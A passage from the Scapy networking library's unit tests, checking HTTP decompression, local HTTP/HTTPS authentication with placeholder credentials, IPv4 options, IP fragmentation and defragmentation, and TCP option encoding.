b'\x1f\x41\x00\xe0\xc5\x6d\xec\x77\x56\xf7\xb5\x8b\x1c\x52\x10\x48\xe0\x90\x03\xf6\x6f\x97\x30\xd0\x40\x24\xb8\x01\x9b\xdb\xa0\xf4\x5c\x92\x4c\xc4\x6f\x89\x58\xf7\x4b\xf7\x4b\x6f\x8c\x2e\x2c\x28\x64\x06\x1d\x03' pkts[0].show() assert HTTPResponse in pkts[0] assert pkts[0].Content_Encoding == b'br' assert pkts[0].Content_Type == b'text/plain' assert pkts[0].load == data # Now with auto decompression conf.contribs["http"]["auto_compression"] = True pkts = sniff(offline=filename, session=TCPSession) pkts[0].show() assert HTTPResponse in pkts[0] assert pkts[0].load == b'This is a test file for testing brotli decompression in Wireshark\n' = HTTP decompression (zstd) ~ zstd conf.debug_dissector = True load_layer("http") import os import zstandard # sample server: $ socat -v TCP-LISTEN:8080,fork,reuseaddr SYSTEM:'(echo -ne "HTTP/1.1 200 OK\r\nContent-Encoding: zstd\r\n\r\n") > tmp && dd bs=1G count=1 status=none | zstd --stdout >> tmp && cat tmp' # sample client: $ curl -v localhost:8080/tmp_echo_zstd_request_for_testing -o a.html filename = scapy_path("/test/pcaps/http_compressed-zstd.pcap") # First without auto decompression conf.contribs["http"]["auto_compression"] = False pkts = sniff(offline=filename) data = b'\x28\xb5\x2f\xfd\x04\x58\x45\x03\x00\xf2\x06\x19\x1c\x70\x89\x1b\xf6\x4f\x21\x1a\xbb\x28\xda\x9a\x1c\x34\xb8\x68\x1f\xd2\x82\xd7\x01\x8d\x36\xe5\x57\x1d\x0f\x38\x10\xa9\xa9\x86\x32\x96\x3d\xd4\xce\x2d\xa9\x2b\x01\x92\x94\xa8\x17\x23\xb7\xec\x9f\x6e\x96\x23\xb6\x13\x52\x97\xb2\x14\xf6\x0e\x9d\x57\x70\xf0\x2d\x7b\x87\x4c\x2a\x92\x10\x35\x68\x8d\xd9\xe6\x41\xbc\xf7\x73\x84\x07\x7e\xef\x48\xd1\x91\x0d\xef\x0b\x86\x8e\x6b\x86\x12\xaf\xb6\x05\x04\x01\x00\x29\x52\xd2\xfa' pkts[0].show() assert HTTPResponse in pkts[0] assert pkts[0].Content_Encoding == b'zstd' assert pkts[0].load == data # Now with auto decompression conf.contribs["http"]["auto_compression"] = True pkts = sniff(offline=filename) pkts[0].show() assert HTTPResponse in pkts[0] assert b'tmp_echo_zstd_request_for_testing' in pkts[0].load = HTTP PSH bug fix filename = scapy_path("/test/pcaps/http_tcp_psh.pcap.gz") pkts = sniff(offline=filename, session=TCPSession) assert len(pkts) == 14 # Verify a split header exists in the packet assert pkts[5].User_Agent == b'example_user_agent' # Verify all of the response data exists in the packet assert int(pkts[7][HTTP].Content_Length.decode()) == len(pkts[7][Raw].load) = HTTP build pkt = TCP()/HTTP()/HTTPRequest(Method=b'GET', Path=b'/download', Http_Version=b'HTTP/1.1', Accept=b'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', Accept_Encoding=b'gzip, deflate', Accept_Language=b'en-US,en;q=0.5', Cache_Control=b'max-age=0', Connection=b'keep-alive', Host=b'scapy.net', User_Agent=b'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0') raw_pkt = raw(pkt) raw_pkt assert raw_pkt == b'\x00P\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x00\x00\x00\x00GET /download HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.5\r\nCache-Control: max-age=0\r\nConnection: keep-alive\r\nContent-Length: 0\r\nHost: scapy.net\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0\r\n\r\n' = HTTP 1.1 -> HTTP 2.0 Upgrade (h2c) ~ Test h2c conf.debug_dissector = True load_layer("http") from scapy.contrib.http2 import H2Frame import os filename = scapy_path("/test/pcaps/http2_h2c.pcap") pkts = sniff(offline=filename, session=TCPSession) assert HTTPResponse in pkts[1] assert pkts[1].Connection == b"Upgrade" assert H2Frame in pkts[1] assert pkts[1][H2Frame].settings[0].id == 3 for i in range(3, 10): assert HTTP not in pkts[i] assert H2Frame in pkts[i] = Test chunked with gzip conf.contribs["http"]["auto_compression"] = False conf.contribs["http"]["auto_chunk"] = False z = b'\x1f\x8b\x08\x00S\\-_\x02\xff\xb3\xc9(\xc9\xcd\xb1\xcb\xcd)\xb0\xd1\x07\xb3\x00\xe6\xedpt\x10\x00\x00\x00' a = IP(dst="1.1.1.1", src="2.2.2.2")/TCP(seq=1)/HTTP()/HTTPResponse(Content_Encoding="gzip", Transfer_Encoding="chunked")/(b"5\r\n" + z[:5] + b"\r\n") b = IP(dst="1.1.1.1", src="2.2.2.2")/TCP(seq=len(a[TCP].payload)+1)/HTTP()/(hex(len(z[5:])).encode()[2:] + b"\r\n" + z[5:] + b"\r\n0\r\n\r\n") xa, xb = IP(raw(a)), IP(raw(b)) conf.contribs["http"]["auto_compression"] = True conf.contribs["http"]["auto_chunk"] = True c = sniff(offline=[xa, xb], session=TCPSession)[0] import gzip assert gzip.decompress(z) == c.load + Test HTTP client/server = Util function to launch HTTP_server ~ http-client https-client from scapy.layers.http import ( HTTP_Server, HTTPS_Server, HTTP_AUTH_MECHS, ) class run_httpserver: def __init__(self, mech=None, ssp=None, ssl=False, **kwargs): self.server = None self.mech = mech self.ssp = ssp self.ssl = ssl self.kwargs = kwargs def __enter__(self): if self.ssl: cls = HTTPS_Server self.kwargs["cert"] = scapy_path("/test/scapy/layers/tls/pki/srv_cert.pem") self.kwargs["key"] = scapy_path("/test/scapy/layers/tls/pki/srv_key.pem") print("@ Starting https server") else: cls = HTTP_Server print("@ Starting http server") # Start server self.server = cls.spawn( 8080, iface=conf.loopback_name, mech=self.mech, ssp=self.ssp, bg=True, **self.kwargs, ) # wait for it to start for i in range(10): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) try: sock.connect(("127.0.0.1", 8080)) break except Exception: time.sleep(0.5) finally: sock.close() else: raise TimeoutError print("@ Server started !") def __exit__(self, exc_type, exc_value, traceback): print("@ Stopping http server !") try: self.server.shutdown(socket.SHUT_RDWR) except OSError: pass self.server.close() if traceback: # failed print("\nTest failed.") raise traceback print("@ http server stopped !") = HTTP - HTTP_client fails to ask HTTP_server that required authentication ~ http-client from scapy.layers.http import HTTP_Client with run_httpserver(mech=HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(IDENTITIES={"user": MD4le("password")})): client = HTTP_Client() resp = client.request("http://127.0.0.1:8080") client.close() assert resp.Status_Code == b"401" = HTTP - HTTP_client asks HTTP_server with NTLMSSP ~ http-client from scapy.layers.http import HTTP_Client with run_httpserver(mech=HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(IDENTITIES={"user": MD4le("password")})): client = HTTP_Client( HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(UPN="user", PASSWORD="password"), ) resp = client.request("http://127.0.0.1:8080") client.close() assert resp.load == b'

OK

' = HTTP - HTTP_Server with native python client with Basic auth ~ http-client import urllib.request from scapy.layers.http import HTTP_Client # https://docs.python.org/3/howto/urllib2.html#id5 (this is so complicated...) password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm() password_mgr.add_password(None, '127.0.0.1:8080', "user", "password") handler = urllib.request.HTTPBasicAuthHandler(password_mgr) opener = urllib.request.build_opener(handler) with run_httpserver(mech=HTTP_AUTH_MECHS.BASIC, BASIC_IDENTITIES={"user": "password"}): with opener.open('http://127.0.0.1:8080/') as f: html = f.read().decode('utf-8') assert html == "

OK

" = HTTP - HTTP_Server with native python client without auth ~ http-client import urllib.request with run_httpserver(mech=HTTP_AUTH_MECHS.NONE): with urllib.request.urlopen('http://127.0.0.1:8080/') as f: html = f.read().decode('utf-8') assert html == "

OK

" + Test HTTPS client/server = HTTPS - HTTPS_client asks HTTPS_server with NTLMSSP and CBT ~ https-client from scapy.layers.http import HTTP_Client with run_httpserver(mech=HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(IDENTITIES={"user": MD4le("password")}), ssl=True): client = HTTP_Client( HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(UPN="user", PASSWORD="password"), no_check_certificate=True, ) resp = client.request("https://127.0.0.1:8080") client.close() assert resp.load == b'

OK

' ================================================ FILE: test/scapy/layers/inet.uts ================================================ % Scapy IPv4 layers tests ############ ############ + Test IP options = IP options individual assembly ~ IP options r = raw(IPOption()) r assert r == b'\x00\x02' r = raw(IPOption_NOP()) r assert r == b'\x01' r = raw(IPOption_EOL()) r assert r == b'\x00' r = raw(IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"])) r assert r == b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08' r = raw(IPOption_Timestamp(internet_address='192.168.15.7', timestamp=11223344)) r assert r == b'D\x0c\t\x01\xc0\xa8\x0f\x07\x00\xabA0' r = raw(IPOption_Timestamp(flg=0, length=8)) r assert r == b'D\x08\t\x00\x00\x00\x00\x00' = IP options individual dissection ~ IP options io = IPOption(b"\x00") io assert io.option == 0 and isinstance(io, IPOption_EOL) io = IPOption(b"\x01") io assert io.option == 1 and isinstance(io, IPOption_NOP) lsrr=b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08' p=IPOption_LSRR(lsrr) p q=IPOption(lsrr) q assert p == q = IP assembly and dissection with options ~ IP options p = IP(src="9.10.11.12",dst="13.14.15.16",options=IPOption_SDBM(addresses=["1.2.3.4","5.6.7.8"]))/TCP() r = raw(p) r assert r == b'H\x00\x004\x00\x01\x00\x00@\x06\xa2q\t\n\x0b\x0c\r\x0e\x0f\x10\x95\n\x01\x02\x03\x04\x05\x06\x07\x08\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00' q=IP(r) q assert isinstance(q.options[0],IPOption_SDBM) assert q[IPOption_SDBM].addresses[1] == "5.6.7.8" p.options[0].addresses[0] = '5.6.7.8' assert IP(raw(p)).options[0].addresses[0] == '5.6.7.8' p = IP(src="9.10.11.12", dst="13.14.15.16", options=[IPOption_NOP(),IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]),IPOption_Security(transmission_control_code="XYZ")])/TCP() p r = raw(p) r assert r == b'K\x00\x00@\x00\x01\x00\x00@\x06\xf3\x83\t\n\x0b\x0c\r\x0e\x0f\x10\x01\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08\x82\x0b\x00\x00\x00\x00\x00\x00XYZ\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00o[\x00\x00' q = IP(r) q assert q[IPOption_LSRR].get_current_router() == "1.2.3.4" assert q[IPOption_Security].transmission_control_code == b"XYZ" assert q[TCP].flags == 2 ############ ############ + Sessions = IPSession - dissect fragmented IP packets on-the-flow packet = IP()/("data"*1000) frags = fragment(packet) tmp_file = get_temp_file() wrpcap(tmp_file, frags) dissected_packets = [] def callback(pkt): dissected_packets.append(pkt) sniff(offline=tmp_file, session=IPSession, prn=callback) assert len(dissected_packets) == 1 assert raw(dissected_packets[0]) == raw(packet) = IPSession - contains non-IP packets pkts = fragment(IP(dst="10.0.0.5")/ICMP()/("X"*1500)) pkts.insert(1, ARP()) assert len(pkts) == 3 pkts = sniff(offline=pkts, session=IPSession) assert len(pkts) == 2 assert pkts[1].load == b"X" * 1500 = IPSession - summary with RandIP() does not crash pkt = IP(dst=RandIP()) s = pkt.summary() assert isinstance(s, str) = StringBuffer buffer = StringBuffer() assert not buffer buffer.append(b"kie", 5) buffer.append(b"e", 11) buffer.append(b"pi", 2) buffer.append(b"pi", 9) buffer.append(b"n", 4) assert bytes_hex(bytes(buffer)) == b'0070696e6b696500706965' assert len(buffer) == 11 assert buffer buffer = StringBuffer() buffer.append(b"") assert not buffer assert bytes(buffer) == b"" ############ ############ + Test fragment() / defragment() functions = fragment() payloadlen, fragsize = 100, 8 assert fragsize % 8 == 0 fragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize) * create the packet pkt = IP() / ("X" * payloadlen) * create the fragments frags = fragment(pkt, fragsize) * count the fragments assert len(frags) == fragcount * each fragment except the last one should have MF set assert all(p.flags == 1 for p in frags[:-1]) assert frags[-1].flags == 0 * each fragment except the last one should have a payload of fragsize bytes assert all(len(p.payload) == 8 for p in frags[:-1]) assert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize) = fragment() and overloaded_fields pkt1 = Ether() / IP() / UDP() pkt2 = fragment(pkt1)[0] pkt3 = pkt2.__class__(raw(pkt2)) assert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto = fragment() already fragmented packets payloadlen = 1480 * 3 ffrags = fragment(IP() / ("X" * payloadlen), 1480) ffrags = fragment(ffrags, 1400) len(ffrags) == 6 * each fragment except the last one should have MF set assert all(p.flags == 1 for p in ffrags[:-1]) assert ffrags[-1].flags == 0 * fragment offset should be well computed plen = 0 for p in ffrags: assert p.frag == plen // 8 plen += len(p.payload) assert plen == payloadlen = fragment() with non-multiple-of-8 MTU paylen = 1400 + 1 frags1 = fragment(IP() / ("X" * paylen), paylen) assert len(frags1) == 1 frags2 = fragment(IP() / ("X" * (paylen + 1)), paylen) assert len(frags2) == 2 assert len(frags2[0]) == 20 + paylen - paylen % 8 assert len(frags2[1]) == 20 + 1 + paylen % 8 = fragment() with fragsize lower than 8 paylen = 5 fragsize = paylen frags1 = fragment(IP() / ("X" * paylen), paylen) assert len(frags1) == 1 assert bytes(frags1[0].payload) == b"X" * paylen fragsize = paylen + 1 frags2 = fragment(IP() / ("X" * paylen), fragsize) assert len(frags2) == 1 assert bytes(frags2[0].payload) == b"X" * paylen paylen = 16 fragsize = 5 frags3 = fragment(IP() / ("X" * paylen), fragsize) assert len(frags3) == 2 assert bytes(frags3[0].payload) == b"X" * 8 assert bytes(frags3[1].payload) == b"X" * 8 = defrag() nonfrag, unfrag, badfrag = defrag(frags) assert not nonfrag assert not badfrag assert len(unfrag) == 1 = defragment() defrags = defragment(frags) * we should have one single packet assert len(defrags) == 1 * which should be the same as pkt reconstructed assert bytes(defrags[0]) == bytes(pkt) = defragment() uses timestamp of last fragment payloadlen, fragsize = 100, 8 assert fragsize % 8 == 0 packet = Ether()/IP()/("X" * payloadlen) frags = fragment(packet, fragsize) for i,frag in enumerate(frags): frag.time -= 100 + i last_time = max(frag.time for frag in frags) defrags = defragment(frags) assert defrags[0].time == last_time nonfrag, defrags, badfrag = defrag(frags) assert defrags[0].time == last_time = defragment() - Missing fragments pkts = fragment(IP(dst="10.0.0.5")/ICMP()/("X"*1500)) assert len(defragment(pkts[1:])) == 1 = defrag() / defragment() - Real DNS packets import base64 a = base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgADIR+u0EAgIECv0DxAA1sRIL83Z7gbCBgAABAB0AAAANA255YwNnb3YAAP8AAcAMAAYAAQAAA4QAKgZ2d2FsbDDADApob3N0bWFzdGVywAx4Og5wAAA4QAAADhAAJOoAAAACWMAMAC4AAQAAA4QAmwAGCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292AHjCDBL0C1rEKUjsuG6Zg3+Rs6gj6llTABm9UZnWk+rRu6nPqW4N7AEllTYqNK+r6uFJ2KhfG3MDPS1F/M5QCVR8qkcbgrqPVRBJAG67/ZqpGORppQV6ib5qqo4ST5KyrgKpa8R1fWH8Fyp881NWLOZekM3TQyczcLFrvw9FFjdRwAwAAQABAAADhAAEobkenMAMAC4AAQAAA4QAmwABCAIAAAOEWWm9jVlgdP0mfQNueWMDZ292ABW8t5tEv9zTLdB6UsoTtZIF6Kx/c4ukIud8UIGM0XdXnJYx0ZDyPDyLVy2rfwmXdEph3KBWAi5dpRT16nthlMmWPQxD1ecg9rc8jcaTGo8z833fYJjzPT8MpMTxhapu4ANSBVbv3LRBnce2abu9QaoCdlHPFHdNphp6JznCLt4jwAwAMAABAAADhAEIAQEDCAMBAAF77useCfI+6T+m6Tsf2ami8/q5XDtgS0Ae7F0jUZ0cpyYxy/28DLFjJaS57YiwAYaabkkugxsoSv9roqBNZjD+gjoUB+MK8fmfaqqkSOgQuIQLZJeOORWD0gAj8mekw+S84DECylbKyYEGf8CB3/59IfV+YkTcHhXBYrMNxhMK1Eiypz4cgYxXiYUSz7jbOmqE3hU2GinhRmNW4Trt4ImUruSO+iQbTTj6LtCtIsScOF4vn4gcLJURLHOs+mf1NU9Yqq9mPC9wlYZk+8rwqcjVIiRpDmmv83huv4be1x1kkz2YqTFwtc33Fzt6SZk96Qtk2wCgg8ZQqLKGx5uwIIyrwAwAMAABAAADhAEIAQEDCAMBAAGYc7SWbSinSc3u8ZcYlO0+yZcJD1vqC5JARxZjKNzszHxc9dpabBtR9covySVu1YaBVrlxNBzfyFd4PKyjvPcBER5sQImoCikC+flD5NwXJbnrO1SG0Kzp8XXDCZpBASxuBF0vjUSU9yMqp0FywCrIfrbfCcOGAFIVP0M2u8dVuoI4nWbkRFc0hiRefoxc1O2IdpR22GAp2OYeeN2/tnFBz/ZMQitU2IZIKBMybKmWLC96tPcqVdWJX6+M1an1ox0+NqBZuPjsCx0/lZbuB/rLHppJOmkRc7q2Fw/tpHOyWHV+ulCfXem9Up/sbrMcP7uumFz0FeNhBPtg3u5kA5OVwAwAMAABAAADhACIAQADCAMBAAF5mlzmmq8cs6Hff0qZLlGKYCGPlG23HZw2qAd7N2FmrLRqPQ0R/hbnw54MYiIs18zyfm2J+ZmzUvGd+gjHGx3ooRRffQQ4RFLq6g6oxaLTbtvqPFbWt4Kr2GwX3UslgZCzH5mXLNpPI2QoetIcQCNRdcxn5QpWxPppCVXbKdNvvcAMADAAAQAAA4QAiAEAAwgDAQABqeGHtNFc0Yh6Pp/aM+ntlDW1fLwuAWToGQhmnQFBTiIUZlH7QMjwh5oMExNp5/ABUb3qBsyk9CLanRfateRgFJCYCNYofrI4S2yqT5X9vvtCXeIoG/QqMSl3PJk4ClYufIKjMPgl5IyN6yBIMNmmsATlMMu5TxM68a/CLCh92L3ADAAuAAEAAAOEAJsAMAgCAAADhFlpvY1ZYHT9Jn0DbnljA2dvdgAViVpFoYwy9dMUbOPDHTKt/LOtoicvtQbHeXiUSQeBkGWTLyiPc/NTW9ZC4WK5AuSj/0+V') b = base64.b64decode('bnmYJ63mREVTUwEACABFAAV0U8UgrDIR+kEEAgIECv0DxApz1F5olFRytjhNlG/JbdW0NSAFeUUF4rBRqsly/h6nFWKoQfih35Lm+BFLE0FoMaikWCjGJQIuf0CXiElMSQifiDM+KTeecNkCgTXADAAuAAEAAAOEARsAMAgCAAADhFlpvY1ZYHT9VwUDbnljA2dvdgAdRZxvC6VlbYUVarYjan0/PlP70gSz1SiYCDZyw5dsGo9vrZd+lMcAm5GFjtKYDXeCb5gVuegzHSNzxDQOa5lVKLQZfXgVHsl3jguCpYwKAygRR3mLBGtnhPrbYcPGMOzIxO6/UE5Hltx9SDqKNe2+rtVeZs5FyHQE5pTVGVjNED9iaauEW9UF3bwEP3K+wLgxWeVycjNry/l4vt9Z0fyTU15kogCZG8MXyStJlzIgdzVZRB96gTJbGBDRFQJfbE2Af+INl0HRY4p+bqQYwFomWg6Tzs30LcqAnkptknb5peUNmQTBI/MU00A6NeVJxkKK3+lf2EuuiJl+nFpfWiKpwAwAMwABAAADhAAJAQAADASqu8zdwAwALgABAAADhACbADMIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAVhcqgSl33lqjLLFR8pQ2cNhdX7dKZ2gRy0vUHOa+980Nljcj4I36rfjEVJCLKodpbseQl0OeTsbfNfqOmi1VrsypDl+YffyPMtHferm02xBK0agcTMdP/glpuKzdKHTiHTlnSOuBpPnEpgxYPNeBGx8yzMvIaU5rOCxuO49Sh/PADAACAAEAAAOEAAoHdndhbGw0YcAMwAwAAgABAAADhAAKB3Z3YWxsMmHADMAMAAIAAQAAA4QACgd2d2FsbDNhwAzADAACAAEAAAOEAAoHdndhbGwxYcAMwAwALgABAAADhACbAAIIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YANn7LVY7YsKLtpH7LKhUz0SVsM/Gk3T/V8I9wIEZ4vEklM9hI92D2aYe+9EKxOts+/py6itZfANXU197pCufktASDxlH5eWSc9S2uqrRnUNnMUe4p3Jy9ZCGhiHDemgFphKGWYTNZUJoML2+SDzbv9tXo4sSbZiKJCDkNdzSv2lfADAAQAAEAAAOEAEVEZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uPWMycnhTa2VPZUxpSG5iY24tSXhZZm5mQjJQcTQzU3lpeEVka2k2ODZlNDTADAAQAAEAAAOEADc2dj1zcGYxIGlwNDoxNjEuMTg1LjIuMC8yNSBpcDQ6MTY3LjE1My4xMzIuMC8yNSBteCAtYWxswAwALgABAAADhACbABAIAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAjzLOj5HUtVGhi/emNG90g2zK80hrI6gh2d+twgVLYgWebPeTI2D2ylobevXeq5rK5RQgbg2iG1UiTBnlKPgLPYt8ZL+bi+/v5NTaqHfyHFYdKzZeL0dhrmebRbYzG7tzOllcAOOqieeO29Yr4gz1rpiU6g75vkz6yQoHNfmNVMXADAAPAAEAAAOEAAsAZAZ2d2FsbDLADMAMAA8AAQAAA4QACwBkBnZ3YWxsNMAMwAwADwABAAADhAALAAoGdndhbGwzwAzADAAPAAEAAAOEAAsACgZ2d2FsbDXADMAMAA8AAQAAA4QACwAKBnZ3YWxsNsAMwAwADwABAAADhAALAAoGdndhbGw3wAzADAAPAAEAAAOEAAsACgZ2d2FsbDjADMAMAA8AAQAAA4QACwBkBnZ3YWxsMcAMwAwALgABAAADhACbAA8IAgAAA4RZab2NWWB0/SZ9A255YwNnb3YAooXBSj6PfsdBd8sEN/2AA4cvOl2bcioO') c = base64.b64decode('bnmYJ63mREVTUwEACABFAAFHU8UBWDIRHcMEAgIECv0DxDtlufeCT1zQktat4aEVA8MF0FO1sNbpEQtqfu5Al//OJISaRvtaArR/tLUj2CoZjS7uEnl7QpP/Ui/gR0YtyLurk9yTw7Vei0lSz4cnaOJqDiTGAKYwzVxjnoR1F3n8lplgQaOalVsHx9UAAQABAAADLAAEobkBA8epAAEAAQAAAywABKG5AQzHvwABAAEAAAMsAASnmYIMx5MAAQABAAADLAAEp5mCDcn9AAEAAQAAAqUABKeZhAvKFAABAAEAAAOEAAShuQIfyisAAQABAAADhAAEobkCKcpCAAEAAQAAA4QABKG5AjPKWQABAAEAAAOEAAShuQI9ynAAAQABAAADhAAEobkCC8nPAAEAAQAAA4QABKG5AgzJ5gABAAEAAAOEAASnmYQMAAApIAAAAAAAAAA=') d = base64.b64decode('////////REVTUwEACABFAABOawsAAIARtGoK/QExCv0D/wCJAIkAOry/3wsBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAEAABYP/WUAAB6N4XIAAB6E4XsAAACR/24AADyEw3sAABfu6BEAAAkx9s4AABXB6j4AAANe/KEAAAAT/+wAAB7z4QwAAEuXtGgAAB304gsAABTB6z4AAAdv+JAAACCu31EAADm+xkEAABR064sAABl85oMAACTw2w8AADrKxTUAABVk6psAABnF5joAABpA5b8AABjP5zAAAAqV9WoAAAUW+ukAACGS3m0AAAEP/vAAABoa5eUAABYP6fAAABX/6gAAABUq6tUAADXIyjcAABpy5Y0AABzb4yQAABqi5V0AAFXaqiUAAEmRtm4AACrL1TQAAESzu0wAAAzs8xMAAI7LcTQAABxN47IAAAbo+RcAABLr7RQAAB3Q4i8AAAck+NsAABbi6R0AAEdruJQAAJl+ZoEAABDH7zgAACOA3H8AAAB5/4YAABQk69sAAEo6tcUAABJU7asAADO/zEAAABGA7n8AAQ9L8LMAAD1DwrwAAB8F4PoAABbG6TkAACmC1n0AAlHErjkAABG97kIAAELBvT4AAEo0tcsAABtC5L0AAA9u8JEAACBU36sAAAAl/9oAABBO77EAAA9M8LMAAA8r8NQAAAp39YgAABB874MAAEDxvw4AAEgyt80AAGwsk9MAAB1O4rEAAAxL87QAADtmxJkAAATo+xcAAAM8/MMAABl55oYAACKh3V4AACGj3lwAAE5ssZMAAC1x0o4AAAO+/EEAABNy7I0AACYp2dYAACb+2QEAABB974IAABc36MgAAA1c8qMAAAf++AEAABDo7xcAACLq3RUAAA8L8PQAAAAV/+oAACNU3KsAABBv75AAABFI7rcAABuH5HgAABAe7+EAAB++4EEAACBl35oAAB7c4SMAADgJx/YAADeVyGoAACKN3XIAAA/C8D0AAASq+1UAAOHPHjAAABRI67cAAABw/48=') with no_debug_dissector(): plist = PacketList([Ether(x) for x in [a, b, c, d]]) left, defragmented, errored = defrag(plist) assert len(left) == 1 assert left[0] == Ether(d) assert len(defragmented) == 1 assert len(defragmented[0]) == 3093 assert defragmented[0][DNSRR].rrname == b'nyc.gov.' assert len(errored) == 0 plist_def = defragment(plist) assert len(plist_def) == 2 assert len(plist_def[0]) == 3093 assert plist_def[0][DNSRR].rrname == b'nyc.gov.' = Packet().fragment() payloadlen, fragsize = 100, 8 assert fragsize % 8 == 0 fragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize) * create the packet pkt = IP() / ("X" * payloadlen) * create the fragments frags = pkt.fragment(fragsize) * count the fragments assert len(frags) == fragcount * each fragment except the last one should have MF set assert all(p.flags == 1 for p in frags[:-1]) assert frags[-1].flags == 0 * each fragment except the last one should have a payload of fragsize bytes assert all(len(p.payload) == 8 for p in frags[:-1]) assert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize) = Packet().fragment() and overloaded_fields pkt1 = Ether() / IP() / UDP() pkt2 = pkt1.fragment()[0] pkt3 = pkt2.__class__(raw(pkt2)) assert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto = Packet().fragment() already fragmented packets payloadlen = 1480 * 3 ffrags = (IP() / ("X" * payloadlen)).fragment(1480) ffrags = reduce(lambda x, y: x + y, (pkt.fragment(1400) for pkt in ffrags)) len(ffrags) == 6 * each fragment except the last one should have MF set assert all(p.flags == 1 for p in ffrags[:-1]) assert ffrags[-1].flags == 0 * fragment offset should be well computed plen = 0 for p in ffrags: assert p.frag == plen / 8 plen += len(p.payload) assert plen == payloadlen ############ ############ + TCP/IP tests ~ tcp = TCP options: UTO - basic build raw(TCP(options=[("UTO", 0xffff)])) == b"\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff" = TCP options: UTO - basic dissection uto = TCP(b"\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff") uto[TCP].options[0][0] == "UTO" and uto[TCP].options[0][1] == 0xffff = TCP options: SAck - basic build raw(TCP(options=[(5, b"abcdefgh")])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x05\nabcdefgh\x00\x00" = TCP options: SAck - basic dissection sack = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x05\nabcdefgh\x00\x00") sack[TCP].options[0][0] == "SAck" and sack[TCP].options[0][1] == (1633837924, 1701209960) = TCP options: SAckOK - basic build raw(TCP(options=[('SAckOK', b'')])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x04\x02\x00\x00" = TCP options: SAckOK - basic dissection sackok = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x04\x02\x00\x00") sackok[TCP].options[0][0] == "SAckOK" and sackok[TCP].options[0][1] == b'' = TCP options: EOL - basic build raw(TCP(options=[(0, '')])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x00\x00\x00\x00" = TCP options: EOL - basic dissection eol = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x00\x02\x00\x00") eol[TCP].options[0][0] == "EOL" and eol[TCP].options[0][1] == None = TCP options: malformed - build raw(TCP(options=[('unknown', b'')])) == raw(TCP()) = TCP options: malformed - dissection raw(TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x03\x00\x00\x00")) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x03\x00\x00\x00" = TCP options: wrong offset TCP(raw(TCP(dataofs=11)/b"o")) = TCP options: MPTCP - basic build using bytes raw(TCP(options=[(30, b"\x10\x03\xc1\x1c\x95\x9b\x81R_1")])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x1e\x0c\x10\x03\xc1\x1c\x95\x9b\x81R_1" = TCP options: MD5 build and parse md5sig = b"0123456789abcdef" p = IP() / TCP(options=[('MD5', md5sig)]) md5opt = IP(raw(p))[TCP].options[0] md5opt[0] == 'MD5' md5opt[1] == md5sig = TCP options: MD5 IPv4 (depends on default values) p = IP() / TCP() mac = calc_tcp_md5_hash(p[TCP], b"12345") assert mac == bytearray.fromhex("797e69f8dbe44a8b84f687a2832595ed") = TCP options: MD5 IPv6 (depends on default values) p = IPv6() / TCP() mac = calc_tcp_md5_hash(p[TCP], b"12345") assert mac == bytearray.fromhex("3711309b0305a4269ec5dbc27183e9a0") = TCP options: MD5 sign (depends on default values) p = IP() / TCP() 